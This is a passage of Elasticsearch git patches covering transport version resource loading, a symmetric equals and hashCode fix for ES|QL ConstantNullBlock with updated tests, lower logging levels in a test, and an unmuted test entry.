+                    throw new UncheckedIOException("transport version manifest file not found at [" + manifestLocation + "]", ioe);
+                }
+            }
 
-            CURRENT = ALL_VERSIONS.getLast();
+            if (versionFileNames != null) {
+                for (String name : versionFileNames) {
+                    String versionLocation = "/transport/constant/" + name;
+                    try (InputStream inputStream = TransportVersion.class.getResourceAsStream(versionLocation)) {
+                        if (inputStream == null) {
+                            throw new IllegalStateException("transport version file not found at [" + versionLocation + "]");
+                        }
+                        TransportVersion transportVersion = TransportVersion.fromInputStream(versionLocation, false, inputStream, latestId);
+                        if (transportVersion != null) {
+                            transportVersions.put(transportVersion.name(), transportVersion);
+                        }
+                    } catch (IOException ioe) {
+                        throw new UncheckedIOException("transport version file not found at [ " + versionLocation + "]", ioe);
+                    }
+                }
+            }
+
+            return transportVersions;
+        }
+
+        private static List<TransportVersion> addTransportVersions(Collection<TransportVersion> addFrom, List<TransportVersion> addTo) {
+            for (TransportVersion transportVersion : addFrom) {
+                addTo.add(transportVersion);
+                TransportVersion patchVersion = transportVersion.nextPatchVersion();
+                while (patchVersion != null) {
+                    addTo.add(patchVersion);
+                    patchVersion = patchVersion.nextPatchVersion();
+                }
+            }
+            return addTo;
         }
     }
 }
diff --git a/server/src/main/java/org/elasticsearch/TransportVersions.java b/server/src/main/java/org/elasticsearch/TransportVersions.java
index 0b4a61c929a71..94cfa73ffe1ac 100644
--- a/server/src/main/java/org/elasticsearch/TransportVersions.java
+++ b/server/src/main/java/org/elasticsearch/TransportVersions.java
@@ -19,7 +19,6 @@
 import java.util.Map;
 import java.util.Set;
 import java.util.TreeSet;
-import java.util.function.IntFunction;
 
 /**
  * <p>Transport version is used to coordinate compatible wire protocol communication between nodes, at a fine-grained level.  This replaces
@@ -407,16 +406,6 @@ static TransportVersion def(int id) {
      */
     static final List<TransportVersion> DEFINED_VERSIONS = collectAllVersionIdsDefinedInClass(TransportVersions.class);
 
-    // the highest transport version constant defined
-    static final TransportVersion LATEST_DEFINED;
-    static {
-        LATEST_DEFINED = DEFINED_VERSIONS.getLast();
-
-        // see comment on IDS field
-        // now we're registered all the transport versions, we can clear the map
-        IDS = null;
-    }
-
     public static List<TransportVersion> collectAllVersionIdsDefinedInClass(Class<?> cls) {
         Map<Integer, String> versionIdFields = new HashMap<>();
         List<TransportVersion> definedTransportVersions = new ArrayList<>();
@@ -458,8 +447,6 @@ public static List<TransportVersion> collectAllVersionIdsDefinedInClass(Class<?>
         return List.copyOf(definedTransportVersions);
     }
 
-    static final IntFunction<String> VERSION_LOOKUP = ReleaseVersions.generateVersionsLookup(TransportVersions.class, LATEST_DEFINED.id());
-
     // no instance
     private TransportVersions() {}
 }
diff --git a/server/src/main/resources/transport/latest/8.18.csv b/server/src/main/resources/transport/latest/8.18.csv
new file mode 100644
index 0000000000000..987d72e2aaeae
--- /dev/null
+++ b/server/src/main/resources/transport/latest/8.18.csv
@@ -0,0 +1 @@
+placeholder,8840007
diff --git a/server/src/main/resources/transport/latest/8.19.csv b/server/src/main/resources/transport/latest/8.19.csv
new file mode 100644
index 0000000000000..2480f207cc6e4
--- /dev/null
+++ b/server/src/main/resources/transport/latest/8.19.csv
@@ -0,0 +1 @@
+placeholder,8841064
diff --git a/server/src/main/resources/transport/latest/9.0.csv b/server/src/main/resources/transport/latest/9.0.csv
new file mode 100644
index 0000000000000..478f07788af87
--- /dev/null
+++ b/server/src/main/resources/transport/latest/9.0.csv
@@ -0,0 +1 @@
+placeholder,9000014
diff --git a/server/src/main/resources/transport/latest/9.1.csv b/server/src/main/resources/transport/latest/9.1.csv
new file mode 100644
index 0000000000000..21304ce07f713
--- /dev/null
+++ b/server/src/main/resources/transport/latest/9.1.csv
@@ -0,0 +1 @@
+placeholder,9112003
diff --git a/server/src/main/resources/transport/latest/9.2.csv b/server/src/main/resources/transport/latest/9.2.csv
new file mode 100644
index 0000000000000..5db8e8fb48f39
--- /dev/null
+++ b/server/src/main/resources/transport/latest/9.2.csv
@@ -0,0 +1 @@
+placeholder,9130000
diff --git a/server/src/test/java/org/elasticsearch/TransportVersionTests.java b/server/src/test/java/org/elasticsearch/TransportVersionTests.java
index 4e100e3067444..39b4fed0b24df 100644
--- a/server/src/test/java/org/elasticsearch/TransportVersionTests.java
+++ b/server/src/test/java/org/elasticsearch/TransportVersionTests.java
@@ -220,4 +220,112 @@ public void testDuplicateConstants() {
             previous = next;
         }
     }
+
+    public void testFromName() {
+        assertThat(TransportVersion.fromName("test_0"), is(new TransportVersion("test_0", 3001000, null)));
+        assertThat(TransportVersion.fromName("test_1"), is(new TransportVersion("test_1", 3002000, null)));
+        assertThat(
+            TransportVersion.fromName("test_2"),
+            is(
+                new TransportVersion(
+                    "test_2",
+                    3003000,
+                    new TransportVersion("test_2", 2001001, new TransportVersion("test_2", 1001001, null))
+                )
+            )
+        );
+        assertThat(
+            TransportVersion.fromName("test_3"),
+            is(new TransportVersion("test_3", 3003001, new TransportVersion("test_3", 2001002, null)))
+        );
+        assertThat(
+            TransportVersion.fromName("test_4"),
+            is(
+                new TransportVersion(
+                    "test_4",
+                    3003002,
+                    new TransportVersion("test_4", 2001003, new TransportVersion("test_4", 1001002, null))
+                )
+            )
+        );
+    }
+
+    public void testSupports() {
+        TransportVersion test0 = TransportVersion.fromName("test_0");
+        assertThat(new TransportVersion(null, 2003000, null).supports(test0), is(false));
+        assertThat(new TransportVersion(null, 3001000, null).supports(test0), is(true));
+        assertThat(new TransportVersion(null, 100001001, null).supports(test0), is(true));
+
+        TransportVersion test1 = TransportVersion.fromName("test_1");
+        assertThat(new TransportVersion(null, 2003000, null).supports(test1), is(false));
+        assertThat(new TransportVersion(null, 3001000, null).supports(test1), is(false));
+        assertThat(new TransportVersion(null, 3001001, null).supports(test1), is(false));
+        assertThat(new TransportVersion(null, 3002000, null).supports(test1), is(true));
+        assertThat(new TransportVersion(null, 100001000, null).supports(test1), is(true));
+        assertThat(new TransportVersion(null, 100001001, null).supports(test1), is(true));
+
+        TransportVersion test2 = TransportVersion.fromName("test_2");
+        assertThat(new TransportVersion(null, 1001000, null).supports(test2), is(false));
+        assertThat(new TransportVersion(null, 1001001, null).supports(test2), is(true));
+        assertThat(new TransportVersion(null, 1001002, null).supports(test2), is(true));
+        assertThat(new TransportVersion(null, 1002000, null).supports(test2), is(false));
+        assertThat(new TransportVersion(null, 1002001, null).supports(test2), is(false));
+        assertThat(new TransportVersion(null, 2001000, null).supports(test2), is(false));
+        assertThat(new TransportVersion(null, 2001001, null).supports(test2), is(true));
+        assertThat(new TransportVersion(null, 2001002, null).supports(test2), is(true));
+        assertThat(new TransportVersion(null, 2003000, null).supports(test2), is(false));
+        assertThat(new TransportVersion(null, 2003001, null).supports(test2), is(false));
+        assertThat(new TransportVersion(null, 3001000, null).supports(test2), is(false));
+        assertThat(new TransportVersion(null, 3001001, null).supports(test2), is(false));
+        assertThat(new TransportVersion(null, 3003000, null).supports(test2), is(true));
+        assertThat(new TransportVersion(null, 3003001, null).supports(test2), is(true));
+        assertThat(new TransportVersion(null, 3003002, null).supports(test2), is(true));
+        assertThat(new TransportVersion(null, 3003003, null).supports(test2), is(true));
+        assertThat(new TransportVersion(null, 100001000, null).supports(test2), is(true));
+        assertThat(new TransportVersion(null, 100001001, null).supports(test2), is(true));
+
+        TransportVersion test3 = TransportVersion.fromName("test_3");
+        assertThat(new TransportVersion(null, 1001001, null).supports(test3), is(false));
+        assertThat(new TransportVersion(null, 1001002, null).supports(test3), is(false));
+        assertThat(new TransportVersion(null, 1001003, null).supports(test3), is(false));
+        assertThat(new TransportVersion(null, 1002001, null).supports(test3), is(false));
+        assertThat(new TransportVersion(null, 1002002, null).supports(test3), is(false));
+        assertThat(new TransportVersion(null, 2001001, null).supports(test3), is(false));
+        assertThat(new TransportVersion(null, 2001002, null).supports(test3), is(true));
+        assertThat(new TransportVersion(null, 2001003, null).supports(test3), is(true));
+        assertThat(new TransportVersion(null, 2003000, null).supports(test3), is(false));
+        assertThat(new TransportVersion(null, 2003001, null).supports(test3), is(false));
+        assertThat(new TransportVersion(null, 3001000, null).supports(test3), is(false));
+        assertThat(new TransportVersion(null, 3001001, null).supports(test3), is(false));
+        assertThat(new TransportVersion(null, 3003000, null).supports(test3), is(false));
+        assertThat(new TransportVersion(null, 3003001, null).supports(test3), is(true));
+        assertThat(new TransportVersion(null, 3003002, null).supports(test3), is(true));
+        assertThat(new TransportVersion(null, 3003003, null).supports(test3), is(true));
+        assertThat(new TransportVersion(null, 3004000, null).supports(test3), is(true));
+        assertThat(new TransportVersion(null, 100001000, null).supports(test3), is(true));
+        assertThat(new TransportVersion(null, 100001001, null).supports(test3), is(true));
+
+        TransportVersion test4 = TransportVersion.fromName("test_4");
+        assertThat(new TransportVersion(null, 1001001, null).supports(test4), is(false));
+        assertThat(new TransportVersion(null, 1001002, null).supports(test4), is(true));
+        assertThat(new TransportVersion(null, 1001003, null).supports(test4), is(true));
+        assertThat(new TransportVersion(null, 1002001, null).supports(test4), is(false));
+        assertThat(new TransportVersion(null, 1002002, null).supports(test4), is(false));
+        assertThat(new TransportVersion(null, 1002003, null).supports(test3), is(false));
+        assertThat(new TransportVersion(null, 2001002, null).supports(test4), is(false));
+        assertThat(new TransportVersion(null, 2001003, null).supports(test4), is(true));
+        assertThat(new TransportVersion(null, 2001004, null).supports(test4), is(true));
+        assertThat(new TransportVersion(null, 2003000, null).supports(test4), is(false));
+        assertThat(new TransportVersion(null, 2003001, null).supports(test4), is(false));
+        assertThat(new TransportVersion(null, 3001000, null).supports(test4), is(false));
+        assertThat(new TransportVersion(null, 3001001, null).supports(test4), is(false));
+        assertThat(new TransportVersion(null, 3003000, null).supports(test4), is(false));
+        assertThat(new TransportVersion(null, 3003001, null).supports(test4), is(false));
+        assertThat(new TransportVersion(null, 3003002, null).supports(test4), is(true));
+        assertThat(new TransportVersion(null, 3003003, null).supports(test4), is(true));
+        assertThat(new TransportVersion(null, 3003004, null).supports(test4), is(true));
+        assertThat(new TransportVersion(null, 3004000, null).supports(test4), is(true));
+        assertThat(new TransportVersion(null, 100001000, null).supports(test4), is(true));
+        assertThat(new TransportVersion(null, 100001001, null).supports(test4), is(true));
+    }
 }
diff --git a/server/src/test/resources/transport/constant/manifest.txt b/server/src/test/resources/transport/constant/manifest.txt
new file mode 100644
index 0000000000000..b158f9910edf4
--- /dev/null
+++ b/server/src/test/resources/transport/constant/manifest.txt
@@ -0,0 +1,5 @@
+test_0.csv
+test_1.csv
+test_2.csv
+test_3.csv
+test_4.csv
diff --git a/server/src/test/resources/transport/constant/test_0.csv b/server/src/test/resources/transport/constant/test_0.csv
new file mode 100644
index 0000000000000..46b80e0a7f735
--- /dev/null
+++ b/server/src/test/resources/transport/constant/test_0.csv
@@ -0,0 +1 @@
+100001000,3001000
diff --git a/server/src/test/resources/transport/constant/test_1.csv b/server/src/test/resources/transport/constant/test_1.csv
new file mode 100644
index 0000000000000..68f67c2ab7884
--- /dev/null
+++ b/server/src/test/resources/transport/constant/test_1.csv
@@ -0,0 +1,2 @@
+3002000
+
diff --git a/server/src/test/resources/transport/constant/test_2.csv b/server/src/test/resources/transport/constant/test_2.csv
new file mode 100644
index 0000000000000..5db5b13038410
--- /dev/null
+++ b/server/src/test/resources/transport/constant/test_2.csv
@@ -0,0 +1 @@
+3003000,2001001,1001001
diff --git a/server/src/test/resources/transport/constant/test_3.csv b/server/src/test/resources/transport/constant/test_3.csv
new file mode 100644
index 0000000000000..b9dd0509e1364
--- /dev/null
+++ b/server/src/test/resources/transport/constant/test_3.csv
@@ -0,0 +1 @@
+100002000,3003001,2001002
diff --git a/server/src/test/resources/transport/constant/test_4.csv b/server/src/test/resources/transport/constant/test_4.csv
new file mode 100644
index 0000000000000..55c482a68ee7f
--- /dev/null
+++ b/server/src/test/resources/transport/constant/test_4.csv
@@ -0,0 +1 @@
+100002000,3003002,2001003,1001002

From a383fce08b963ac70fa7fdb74578f65469a14577 Mon Sep 17 00:00:00 2001
From: Larisa Motova <larisa.motova@elastic.co>
Date: Fri, 25 Jul 2025 10:32:53 -1000
Subject: [PATCH 237/299] [ES|QL] Change equals and hashcode for
 ConstantNullBlock (#131817) (#131892)

Currently in ES|QL if you have a ConstantNullBlock and a DoubleBlock (or
any other standard block type: Boolean, BytesRef, Float, Int, Long) and
your DoubleBlock can be represented as a ConstantNullBlock, then
`doubleBlock.equals(constantNullBlock)` can evaluate as `true` (if
position count is the same).

However, `constantNullBlock.equals(anyDoubleBlock)` is always false.
Likewise, the hashcodes of these two blocks are different, even if
`doubleBlock.equals(constantNullBlock)` returns true.
This PR addresses that by making the hashcodes equivalent and the equals
functions symmetric in returning true.
---
 docs/changelog/131817.yaml                    |  5 ++++
 .../compute/data/ConstantNullBlock.java       | 20 ++++++++++++---
 .../data/BooleanBlockEqualityTests.java       | 25 ++++++++++++++++++-
 .../data/BytesRefBlockEqualityTests.java      |  8 ++++--
 .../data/DoubleBlockEqualityTests.java        |  8 ++++--
 .../compute/data/FloatBlockEqualityTests.java |  8 ++++--
 .../compute/data/IntBlockEqualityTests.java   |  8 ++++--
 .../compute/data/LongBlockEqualityTests.java  |  8 ++++--
 8 files changed, 75 insertions(+), 15 deletions(-)
 create mode 100644 docs/changelog/131817.yaml

diff --git a/docs/changelog/131817.yaml b/docs/changelog/131817.yaml
new file mode 100644
index 0000000000000..84cf6bbef0117
--- /dev/null
+++ b/docs/changelog/131817.yaml
@@ -0,0 +1,5 @@
+pr: 131817
+summary: Change equals and hashcode for `ConstantNullBlock`
+area: ES|QL
+type: bug
+issues: []
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/ConstantNullBlock.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/ConstantNullBlock.java
index 2ed905f4299ca..967f91a3ee471 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/ConstantNullBlock.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/ConstantNullBlock.java
@@ -14,7 +14,6 @@
 import org.elasticsearch.core.ReleasableIterator;
 
 import java.io.IOException;
-import java.util.Objects;
 
 /**
  * Block implementation representing a constant null value.
@@ -120,15 +119,28 @@ public long ramBytesUsed() {
 
     @Override
     public boolean equals(Object obj) {
-        if (obj instanceof ConstantNullBlock that) {
-            return this.getPositionCount() == that.getPositionCount();
+        if (obj instanceof Block that) {
+            return this.getPositionCount() == 0 && that.getPositionCount() == 0
+                || this.getPositionCount() == that.getPositionCount() && that.areAllValuesNull();
+        }
+        if (obj instanceof Vector that) {
+            return this.getPositionCount() == 0 && that.getPositionCount() == 0;
         }
         return false;
     }
 
     @Override
     public int hashCode() {
-        return Objects.hash(getPositionCount());
+        // The hashcode for ConstantNullBlock is calculated in this way so that
+        // we return the same hashcode for ConstantNullBlock as we would for block
+        // types that ConstantNullBlock implements that contain only null values.
+        // Example: a DoubleBlock with 8 positions that are all null will return
+        // the same hashcode as a ConstantNullBlock with a positionCount of 8.
+        int result = 1;
+        for (int pos = 0; pos < positionCount; pos++) {
+            result = 31 * result - 1;
+        }
+        return result;
     }
 
     @Override
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/BooleanBlockEqualityTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/BooleanBlockEqualityTests.java
index 7c0c4c48e97de..6bb31b141597f 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/BooleanBlockEqualityTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/BooleanBlockEqualityTests.java
@@ -52,7 +52,8 @@ public void testEmptyBlock() {
             blockFactory.newConstantBooleanBlockWith(randomBoolean(), 0),
             blockFactory.newBooleanBlockBuilder(0).build(),
             blockFactory.newBooleanBlockBuilder(0).appendBoolean(randomBoolean()).build().filter(),
-            blockFactory.newBooleanBlockBuilder(0).appendNull().build().filter()
+            blockFactory.newBooleanBlockBuilder(0).appendNull().build().filter(),
+            (ConstantNullBlock) blockFactory.newConstantNullBlock(0)
         );
         assertAllEquals(blocks);
     }
@@ -252,6 +253,28 @@ public void testBlockInequality() {
         assertAllNotEquals(notEqualBlocks);
     }
 
+    public void testSimpleBlockWithManyNulls() {
+        int positions = randomIntBetween(1, 256);
+        boolean grow = randomBoolean();
+        BooleanBlock.Builder builder1 = blockFactory.newBooleanBlockBuilder(grow ? 0 : positions);
+        BooleanBlock.Builder builder2 = blockFactory.newBooleanBlockBuilder(grow ? 0 : positions);
+        ConstantNullBlock.Builder builder3 = new ConstantNullBlock.Builder(blockFactory);
+        for (int p = 0; p < positions; p++) {
+            builder1.appendNull();
+            builder2.appendNull();
+            builder3.appendNull();
+        }
+        BooleanBlock block1 = builder1.build();
+        BooleanBlock block2 = builder2.build();
+        Block block3 = builder3.build();
+        assertEquals(positions, block1.getPositionCount());
+        assertTrue(block1.mayHaveNulls());
+        assertTrue(block1.isNull(0));
+
+        List<Block> blocks = List.of(block1, block2, block3);
+        assertAllEquals(blocks);
+    }
+
     static void assertAllEquals(List<?> objs) {
         for (Object obj1 : objs) {
             for (Object obj2 : objs) {
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/BytesRefBlockEqualityTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/BytesRefBlockEqualityTests.java
index ddf8b1a28bc26..5a81c3b4f0a8e 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/BytesRefBlockEqualityTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/BytesRefBlockEqualityTests.java
@@ -63,7 +63,8 @@ public void testEmptyBlock() {
                 blockFactory.newConstantBytesRefBlockWith(new BytesRef(), 0),
                 blockFactory.newBytesRefBlockBuilder(0).build(),
                 blockFactory.newBytesRefBlockBuilder(0).appendBytesRef(new BytesRef()).build().filter(),
-                blockFactory.newBytesRefBlockBuilder(0).appendNull().build().filter()
+                blockFactory.newBytesRefBlockBuilder(0).appendNull().build().filter(),
+                (ConstantNullBlock) blockFactory.newConstantNullBlock(0)
             );
             assertAllEquals(blocks);
         }
@@ -357,17 +358,20 @@ public void testSimpleBlockWithManyNulls() {
         boolean grow = randomBoolean();
         BytesRefBlock.Builder builder1 = blockFactory.newBytesRefBlockBuilder(grow ? 0 : positions);
         BytesRefBlock.Builder builder2 = blockFactory.newBytesRefBlockBuilder(grow ? 0 : positions);
+        ConstantNullBlock.Builder builder3 = new ConstantNullBlock.Builder(blockFactory);
         for (int p = 0; p < positions; p++) {
             builder1.appendNull();
             builder2.appendNull();
+            builder3.appendNull();
         }
         BytesRefBlock block1 = builder1.build();
         BytesRefBlock block2 = builder2.build();
+        Block block3 = builder3.build();
         assertEquals(positions, block1.getPositionCount());
         assertTrue(block1.mayHaveNulls());
         assertTrue(block1.isNull(0));
 
-        List<BytesRefBlock> blocks = List.of(block1, block2);
+        List<Block> blocks = List.of(block1, block2, block3);
         assertAllEquals(blocks);
     }
 
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/DoubleBlockEqualityTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/DoubleBlockEqualityTests.java
index 0bdcd8a29add9..0882c57e538a6 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/DoubleBlockEqualityTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/DoubleBlockEqualityTests.java
@@ -51,7 +51,8 @@ public void testEmptyBlock() {
             blockFactory.newConstantDoubleBlockWith(0, 0),
             blockFactory.newDoubleBlockBuilder(0).build(),
             blockFactory.newDoubleBlockBuilder(0).appendDouble(1).build().filter(),
-            blockFactory.newDoubleBlockBuilder(0).appendNull().build().filter()
+            blockFactory.newDoubleBlockBuilder(0).appendNull().build().filter(),
+            (ConstantNullBlock) blockFactory.newConstantNullBlock(0)
         );
         assertAllEquals(blocks);
         Releasables.close(blocks);
@@ -234,17 +235,20 @@ public void testSimpleBlockWithManyNulls() {
         boolean grow = randomBoolean();
         DoubleBlock.Builder builder1 = blockFactory.newDoubleBlockBuilder(grow ? 0 : positions);
         DoubleBlock.Builder builder2 = blockFactory.newDoubleBlockBuilder(grow ? 0 : positions);
+        ConstantNullBlock.Builder builder3 = new ConstantNullBlock.Builder(blockFactory);
         for (int p = 0; p < positions; p++) {
             builder1.appendNull();
             builder2.appendNull();
+            builder3.appendNull();
         }
         DoubleBlock block1 = builder1.build();
         DoubleBlock block2 = builder2.build();
+        Block block3 = builder3.build();
         assertEquals(positions, block1.getPositionCount());
         assertTrue(block1.mayHaveNulls());
         assertTrue(block1.isNull(0));
 
-        List<DoubleBlock> blocks = List.of(block1, block2);
+        List<Block> blocks = List.of(block1, block2, block3);
         assertAllEquals(blocks);
     }
 
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/FloatBlockEqualityTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/FloatBlockEqualityTests.java
index 046567ff5987d..e63597d7ff4b0 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/FloatBlockEqualityTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/FloatBlockEqualityTests.java
@@ -51,7 +51,8 @@ public void testEmptyBlock() {
             blockFactory.newConstantFloatBlockWith(0, 0),
             blockFactory.newFloatBlockBuilder(0).build(),
             blockFactory.newFloatBlockBuilder(0).appendFloat(1).build().filter(),
-            blockFactory.newFloatBlockBuilder(0).appendNull().build().filter()
+            blockFactory.newFloatBlockBuilder(0).appendNull().build().filter(),
+            (ConstantNullBlock) blockFactory.newConstantNullBlock(0)
         );
         assertAllEquals(blocks);
         Releasables.close(blocks);
@@ -234,17 +235,20 @@ public void testSimpleBlockWithManyNulls() {
         boolean grow = randomBoolean();
         FloatBlock.Builder builder1 = blockFactory.newFloatBlockBuilder(grow ? 0 : positions);
         FloatBlock.Builder builder2 = blockFactory.newFloatBlockBuilder(grow ? 0 : positions);
+        ConstantNullBlock.Builder builder3 = new ConstantNullBlock.Builder(blockFactory);
         for (int p = 0; p < positions; p++) {
             builder1.appendNull();
             builder2.appendNull();
+            builder3.appendNull();
         }
         FloatBlock block1 = builder1.build();
         FloatBlock block2 = builder2.build();
+        Block block3 = builder3.build();
         assertEquals(positions, block1.getPositionCount());
         assertTrue(block1.mayHaveNulls());
         assertTrue(block1.isNull(0));
 
-        List<FloatBlock> blocks = List.of(block1, block2);
+        List<Block> blocks = List.of(block1, block2, block3);
         assertAllEquals(blocks);
     }
 
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/IntBlockEqualityTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/IntBlockEqualityTests.java
index eb68bdf7a59d6..7e6a53054277d 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/IntBlockEqualityTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/IntBlockEqualityTests.java
@@ -50,7 +50,8 @@ public void testEmptyBlock() {
             blockFactory.newConstantIntBlockWith(0, 0),
             blockFactory.newIntBlockBuilder(0).build(),
             blockFactory.newIntBlockBuilder(0).appendInt(1).build().filter(),
-            blockFactory.newIntBlockBuilder(0).appendNull().build().filter()
+            blockFactory.newIntBlockBuilder(0).appendNull().build().filter(),
+            (ConstantNullBlock) blockFactory.newConstantNullBlock(0)
         );
         assertAllEquals(blocks);
     }
@@ -203,17 +204,20 @@ public void testSimpleBlockWithManyNulls() {
         boolean grow = randomBoolean();
         IntBlock.Builder builder1 = blockFactory.newIntBlockBuilder(grow ? 0 : positions);
         IntBlock.Builder builder2 = blockFactory.newIntBlockBuilder(grow ? 0 : positions);
+        ConstantNullBlock.Builder builder3 = new ConstantNullBlock.Builder(blockFactory);
         for (int p = 0; p < positions; p++) {
             builder1.appendNull();
             builder2.appendNull();
+            builder3.appendNull();
         }
         IntBlock block1 = builder1.build();
         IntBlock block2 = builder2.build();
+        Block block3 = builder3.build();
         assertEquals(positions, block1.getPositionCount());
         assertTrue(block1.mayHaveNulls());
         assertTrue(block1.isNull(0));
 
-        List<IntBlock> blocks = List.of(block1, block2);
+        List<Block> blocks = List.of(block1, block2, block3);
         assertAllEquals(blocks);
     }
 
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/LongBlockEqualityTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/LongBlockEqualityTests.java
index 6d6a832d27e54..6dc21a56ad27f 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/LongBlockEqualityTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/LongBlockEqualityTests.java
@@ -50,7 +50,8 @@ public void testEmptyBlock() {
             blockFactory.newConstantLongBlockWith(0, 0),
             blockFactory.newLongBlockBuilder(0).build(),
             blockFactory.newLongBlockBuilder(0).appendLong(1).build().filter(),
-            blockFactory.newLongBlockBuilder(0).appendNull().build().filter()
+            blockFactory.newLongBlockBuilder(0).appendNull().build().filter(),
+            (ConstantNullBlock) blockFactory.newConstantNullBlock(0)
         );
         assertAllEquals(blocks);
     }
@@ -201,17 +202,20 @@ public void testSimpleBlockWithManyNulls() {
         boolean grow = randomBoolean();
         LongBlock.Builder builder1 = blockFactory.newLongBlockBuilder(grow ? 0 : positions);
         LongBlock.Builder builder2 = blockFactory.newLongBlockBuilder(grow ? 0 : positions);
+        ConstantNullBlock.Builder builder3 = new ConstantNullBlock.Builder(blockFactory);
         for (int p = 0; p < positions; p++) {
             builder1.appendNull();
             builder2.appendNull();
+            builder3.appendNull();
         }
         LongBlock block1 = builder1.build();
         LongBlock block2 = builder2.build();
+        Block block3 = builder3.build();
         assertEquals(positions, block1.getPositionCount());
         assertTrue(block1.mayHaveNulls());
         assertTrue(block1.isNull(0));
 
-        List<LongBlock> blocks = List.of(block1, block2);
+        List<Block> blocks = List.of(block1, block2, block3);
         assertAllEquals(blocks);
     }
 

From 290d7393dadf4f509c00aca85ffc82f7ad99d981 Mon Sep 17 00:00:00 2001
From: Mark Tozzi <mark.tozzi@gmail.com>
Date: Fri, 25 Jul 2025 16:36:09 -0400
Subject: [PATCH 238/299] Reduce logging levels for meter usage tests (#131935)
 (#131941)

This PR reduces the logging level of the test logging added in #111360 to Trace. The issue that logging was intended to investigate has been closed, and there doesn't appear to be any current need for this logging. If we need it in the future, it will be trivial to re-enable.
---
 .../test/apmintegration/TestMeterUsages.java           | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/test/external-modules/apm-integration/src/main/java/org/elasticsearch/test/apmintegration/TestMeterUsages.java b/test/external-modules/apm-integration/src/main/java/org/elasticsearch/test/apmintegration/TestMeterUsages.java
index a0ae21b07379a..4b1f731510e01 100644
--- a/test/external-modules/apm-integration/src/main/java/org/elasticsearch/test/apmintegration/TestMeterUsages.java
+++ b/test/external-modules/apm-integration/src/main/java/org/elasticsearch/test/apmintegration/TestMeterUsages.java
@@ -39,22 +39,22 @@ public TestMeterUsages(MeterRegistry meterRegistry) {
         this.longHistogram = meterRegistry.registerLongHistogram("es.test.long_histogram.histogram", "test", "unit");
         meterRegistry.registerDoubleGauge("es.test.double_gauge.current", "test", "unit", () -> {
             var value = doubleWithAttributes.get();
-            logger.info("[es.test.double_gauge.current] callback with value [{}]", value);
+            logger.trace("[es.test.double_gauge.current] callback with value [{}]", value);
             return value;
         });
         meterRegistry.registerLongGauge("es.test.long_gauge.current", "test", "unit", () -> {
             var value = longWithAttributes.get();
-            logger.info("[es.test.long_gauge.current] callback with value [{}]", value);
+            logger.trace("[es.test.long_gauge.current] callback with value [{}]", value);
             return value;
         });
         meterRegistry.registerLongAsyncCounter("es.test.async_long_counter.total", "test", "unit", () -> {
             var value = longWithAttributes.get();
-            logger.info("[es.test.async_long_counter.total] callback with value [{}]", value);
+            logger.trace("[es.test.async_long_counter.total] callback with value [{}]", value);
             return value;
         });
         meterRegistry.registerDoubleAsyncCounter("es.test.async_double_counter.total", "test", "unit", () -> {
             var value = doubleWithAttributes.get();
-            logger.info("[es.test.async_double_counter.total] callback with value [{}]", value);
+            logger.trace("[es.test.async_double_counter.total] callback with value [{}]", value);
             return value;
         });
     }
@@ -69,7 +69,7 @@ public void testUponRequest() {
         longHistogram.record(2);
 
         // triggers gauges and async counters
-        logger.info("setting async counters");
+        logger.trace("setting async counters");
         doubleWithAttributes.set(new DoubleWithAttributes(1.0, Map.of()));
         longWithAttributes.set(new LongWithAttributes(1, Map.of()));
     }

From f88ed1b8ffa5a841e0a2ff0898a9b7e6e485b4d5 Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Fri, 25 Jul 2025 17:06:37 -0600
Subject: [PATCH 239/299] Add wait for remote start for the test (#131124)
 (#131947)

---
 muted-tests.yml                                                | 3 ---
 .../elasticsearch/xpack/search/CrossClusterAsyncSearchIT.java  | 1 +
 2 files changed, 1 insertion(+), 3 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index d792f180f9b65..bedad892cd6dd 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -297,9 +297,6 @@ tests:
 - class: org.elasticsearch.xpack.test.rest.XPackRestIT
   method: test {p0=ml/data_frame_analytics_cat_apis/Test cat data frame analytics all jobs with header}
   issue: https://github.com/elastic/elasticsearch/issues/127625
-- class: org.elasticsearch.xpack.search.CrossClusterAsyncSearchIT
-  method: testCancellationViaTimeoutWithAllowPartialResultsSetToFalse
